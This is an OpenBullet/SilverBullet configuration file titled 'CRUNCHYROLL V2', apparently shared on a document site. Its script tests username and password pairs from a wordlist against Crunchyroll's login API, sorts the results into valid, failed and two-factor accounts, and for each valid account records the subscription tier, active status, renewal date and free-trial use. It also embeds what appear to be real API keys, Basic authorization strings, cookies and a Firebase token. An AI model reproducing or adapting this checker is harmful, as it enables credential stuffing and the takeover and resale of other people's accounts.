You are on page 1of 5

[SETTINGS]

{
"Name": "CRUNCHYROLL By @ghostcrk",
"SuggestedBots": 10,
"MaxCPM": 0,
"LastModified": "2024-03-05T05:06:03.6070858-08:00",
"AdditionalInfo": "",
"RequiredPlugins": [],
"Author": "@ghostcrk",
"Version": "1.1.4 [SB]",
"SaveEmptyCaptures": false,
"ContinueOnCustom": false,
"SaveHitsToTextFile": false,
"IgnoreResponseErrors": false,
"MaxRedirects": 8,
"NeedsProxies": false,
"OnlySocks": false,
"OnlySsl": false,
"MaxProxyUses": 0,
"BanProxyAfterGoodStatus": false,
"BanLoopEvasionOverride": -1,
"EncodeData": false,
"AllowedWordlist1": "",
"AllowedWordlist2": "",
"DataRules": [],
"CustomInputs": [
{
"Description": "by : @ghostcrk",
"VariableName": "",
"Id": 96050582
}
],
"CaptchaUrl": "",
"IsBase64": false,
"FilterList": [],
"EvaluateMathOCR": false,
"SecurityProtocol": 0,
"ForceHeadless": false,
"AlwaysOpen": false,
"AlwaysQuit": false,
"QuitOnBanRetry": false,
"AcceptInsecureCertificates": true,
"DisableNotifications": false,
"DisableImageLoading": false,
"DefaultProfileDirectory": false,
"CustomUserAgent": "",
"RandomUA": false,
"CustomCMDArgs": "",
"Title": "CRUNCHYROLL V2",
"IconPath": "Icon\\svbfile.ico",
"LicenseSource": null,
"Message": null,
"MessageColor": "#FFFFFFFF",
"HitInfoFormat": "[{hit.Type}][{hit.Proxy}] {hit.Data} - [{hit.CapturedString}]",
"AuthorColor": "#FFFFB266",
"WordlistColor": "#FFB5C2E1",
"BotsColor": "#FFA8FFFF",
"CustomInputColor": "#FFD6C7C7",
"CPMColor": "#FFFFFFFF",
"ProgressColor": "#FFAD93E3",
"HitsColor": "#FF66FF66",
"CustomColor": "#FFFFB266",
"ToCheckColor": "#FF7FFFD4",
"FailsColor": "#FFFF3333",
"RetriesColor": "#FFFFFF99",
"OcrRateColor": "#FF4698FD",
"ProxiesColor": "#FFFFFFFF"
}

[SCRIPT]
REQUEST POST "https://beta-api.crunchyroll.com/auth/v1/token"
CONTENT "device_id=6A2F2F9D-2D02-47C2-9A41-
89B0DD86A381&device_name=iPhone&device_type=iPhone%2012%20Pro&grant_type=client_id"

CONTENTTYPE "application/x-www-form-urlencoded"
HEADER "Host: beta-api.crunchyroll.com"
HEADER "Cookie: __cf_bm=6IWKW9AhvcMJUzKobhAczREdBMMXTfJeNJj27TuDe2A-1705164934-1-
AbToVE7hiBU83vPN+6qPdlhLGHpLl8RL2j6znwQFGsEysRE35464BSHF/
jF0T53SIE3LX1hufls0k9At7bF8WyUON1wiJGk9KEXRXZaiUCjp"
HEADER "Etp-Anonymous-Id: 6A2F2F9D-2D02-47C2-9A41-89B0DD86A381"
HEADER "Content-Type: application/x-www-form-urlencoded; charset=utf-8"
HEADER "Accept: */*"
HEADER "Authorization: Basic
cW1idnFfdXFuMmc2MXFrZm1vMHU6UkUyRERRMXJtdmQ4Y0dDUGphWHQxSk9aVk5FRTFCb0o="
HEADER "Accept-Encoding: gzip, deflate, br"
HEADER "User-Agent: Crunchyroll/4.41.0 (bundle_identifier:com.crunchyroll.iphone;
build_number:3406262.380130525) iOS/17.2.1 Gravity/4.41.0"
HEADER "Content-Length: 116"
HEADER "Accept-Language: en-MU;q=1.0"
HEADER "Connection: close"

KEYCHECK
KEYCHAIN Success OR
KEY "\"access_token\":\""
KEYCHAIN Failure OR
KEY "<SOURCE>" DoesNotContain "\"access_token\":\""

PARSE "<SOURCE>" LR "\"access_token\":\"" "\"" -> VAR "ATK"

REQUEST POST "https://firebaseinstallations.googleapis.com/v1/projects/crunchyroll-


1268/installations/e5biFYwx4UQygpbBs8dimv/authTokens:generate"
CONTENT "{\"installation\":{\"sdkVersion\":\"i:10.8.0\"}}"
CONTENTTYPE "application/json"
HEADER "Host: firebaseinstallations.googleapis.com"
HEADER "Accept: */*"
HEADER "Content-Type: application/json"
HEADER "Content-Length: 42"
HEADER "X-Ios-Bundle-Identifier: com.crunchyroll.iphone"
HEADER "Authorization: FIS_v2
3_AS3qfwIiYPDVL5Jr2Nvsq6sllVHDN4tE0nEIP5nt9ni5Qb98yLfxw_23jl87HVoMuJRr-
zcuAHW61s1Ko-IlALX11oC8KOrLrU5x27zopbdiJvI"
HEADER "Accept-Language: en-GB,en;q=0.9"
HEADER "User-Agent: Crunchyroll/3406262.380130525 CFNetwork/1490.0.4
Darwin/23.2.0"
HEADER "X-Goog-Api-Key: AIzaSyBs2SpCa1RI1rcY1yGdt0tEbDAQmuek_yQ"
HEADER "Accept-Encoding: gzip, deflate, br"
HEADER "Connection: close"
KEYCHECK BanOnToCheck=FALSE
KEYCHAIN Success OR
KEY "\"token\":"

PARSE "<SOURCE>" LR "\"token\": \"" "\"" -> VAR "TOKEN"

#LOGIN REQUEST POST "https://beta-api.crunchyroll.com/auth/v1/token"


CONTENT "device_id=6A2F2F9D-2D02-47C2-9A41-
89B0DD86A381&device_name=iPhone&device_type=iPhone
%2012%20Pro&grant_type=password&password=<PASS>&scope=offline_access&username=<USER
>"
CONTENTTYPE "application/x-www-form-urlencoded; charset=utf-8"
HEADER "Host: beta-api.crunchyroll.com"
HEADER "Cookie: __cf_bm=6IWKW9AhvcMJUzKobhAczREdBMMXTfJeNJj27TuDe2A-1705164934-1-
AbToVE7hiBU83vPN+6qPdlhLGHpLl8RL2j6znwQFGsEysRE35464BSHF/
jF0T53SIE3LX1hufls0k9At7bF8WyUON1wiJGk9KEXRXZaiUCjp"
HEADER "Etp-Anonymous-Id: 6A2F2F9D-2D02-47C2-9A41-89B0DD86A381"
HEADER "Content-Type: application/x-www-form-urlencoded; charset=utf-8"
HEADER "Accept: */*"
HEADER "Authorization: Basic
cW1idnFfdXFuMmc2MXFrZm1vMHU6UkUyRERRMXJtdmQ4Y0dDUGphWHQxSk9aVk5FRTFCb0o="
HEADER "Accept-Encoding: gzip, deflate, br"
HEADER "User-Agent: Crunchyroll/4.41.0 (bundle_identifier:com.crunchyroll.iphone;
build_number:3406262.380130525) iOS/17.2.1 Gravity/4.41.0"
HEADER "Content-Length: 197"
HEADER "Accept-Language: en-MU;q=1.0"

KEYCHECK
KEYCHAIN Custom "2FACTOR" OR
KEY "auth.obtain_access_token.force_password_reset"
KEYCHAIN Failure OR
KEY "auth.obtain_access_token.invalid_credentials"
KEY "invalid_grant"
KEY "<RESPONSECODE>" Contains "401"
KEYCHAIN Success OR
KEY "{\"access_token\":\""
KEY "\"profile_id\":\""

PARSE "<SOURCE>" LR "{\"access_token\":\"" "\"" -> VAR "TK"

PARSE "<SOURCE>" JSON "refresh_token" -> VAR "RTK"

PARSE "<SOURCE>" JSON "account_id" -> VAR "ACCID"

PARSE "<SOURCE>" JSON "country" -> VAR "countryy"

PARSE "<SOURCE>" JSON "access_token" -> VAR "tk"

PARSE "<SOURCE>" JSON "account_id" -> VAR "id"

REQUEST GET "https://www.crunchyroll.com/subs/v3/subscriptions/<id>"

HEADER "authority: www.crunchyroll.com"


HEADER "method: GET"
HEADER "path: /subs/v3/subscriptions/<id>"
HEADER "scheme: https"
HEADER "Accept: application/json, text/plain, */*"
HEADER "Accept-Encoding: gzip, deflate, br"
HEADER "Accept-Language: en-US,en;q=0.9"
HEADER "Authorization: Bearer <tk>"
HEADER "Referer: https://www.crunchyroll.com/account/membership"
HEADER "Sec-Ch-Ua: \"Microsoft Edge\";v=\"119\", \"Chromium\";v=\"119\", \"Not?
A_Brand\";v=\"24\""
HEADER "Sec-Ch-Ua-Mobile: ?0"
HEADER "Sec-Ch-Ua-Platform: \"Windows\""
HEADER "Sec-Fetch-Dest: empty"
HEADER "Sec-Fetch-Mode: cors"
HEADER "Sec-Fetch-Site: same-origin"
HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0"

PARSE "<SOURCE>" JSON "tier" -> VAR "pl"

PARSE "<SOURCE>" JSON "sku" -> VAR "as"

FUNCTION Constant "<pl>{<as>}" -> VAR "s"

FUNCTION Replace "." " " "<s>" -> VAR "a"

FUNCTION Replace "_" " " "<a>" -> VAR "d"

FUNCTION Constant "<d>" -> CAP "SUB/PLAN"

PARSE "<SOURCE>" JSON "is_active" -> VAR "ACTIVE"

IF "<ACTIVE>" EqualTo "False"

FUNCTION Constant "NO❌" -> CAP "HAS SUB"

ENDIF
IF "<ACTIVE>" EqualTo "True"

FUNCTION Constant "YES✅" -> CAP "HAS SUB"

ENDIF

PARSE "<SOURCE>" JSON "next_renewal_date" CreateEmpty=FALSE -> CAP "next renewal


date"

PARSE "<SOURCE>" JSON "active_free_trial" -> VAR "USE FREE TRAIL"

IF "<USE FREE TRAIL>" EqualTo "False"

FUNCTION Constant "NO❌" -> CAP "USE FREE TRAIL"

ENDIF
IF "<USE FREE TRAIL>" EqualTo "True"

FUNCTION Constant "YES✅" -> CAP "USE FREE TRAIL"

ENDIF

PARSE "<SOURCE>" JSON "is_cancelled" CreateEmpty=FALSE -> CAP "CANCELLED"

KEYCHECK BanOnToCheck=FALSE
KEYCHAIN Custom "EXPIRED" OR
KEY "\"is_cancelled\":true,"
KEYCHAIN Custom "FREE" OR
KEY "<!doctype html><html"
KEY "script></body></html>"
KEY "<RESPONSECODE>" Contains "404"
KEY "is_active\":false,"

You might also like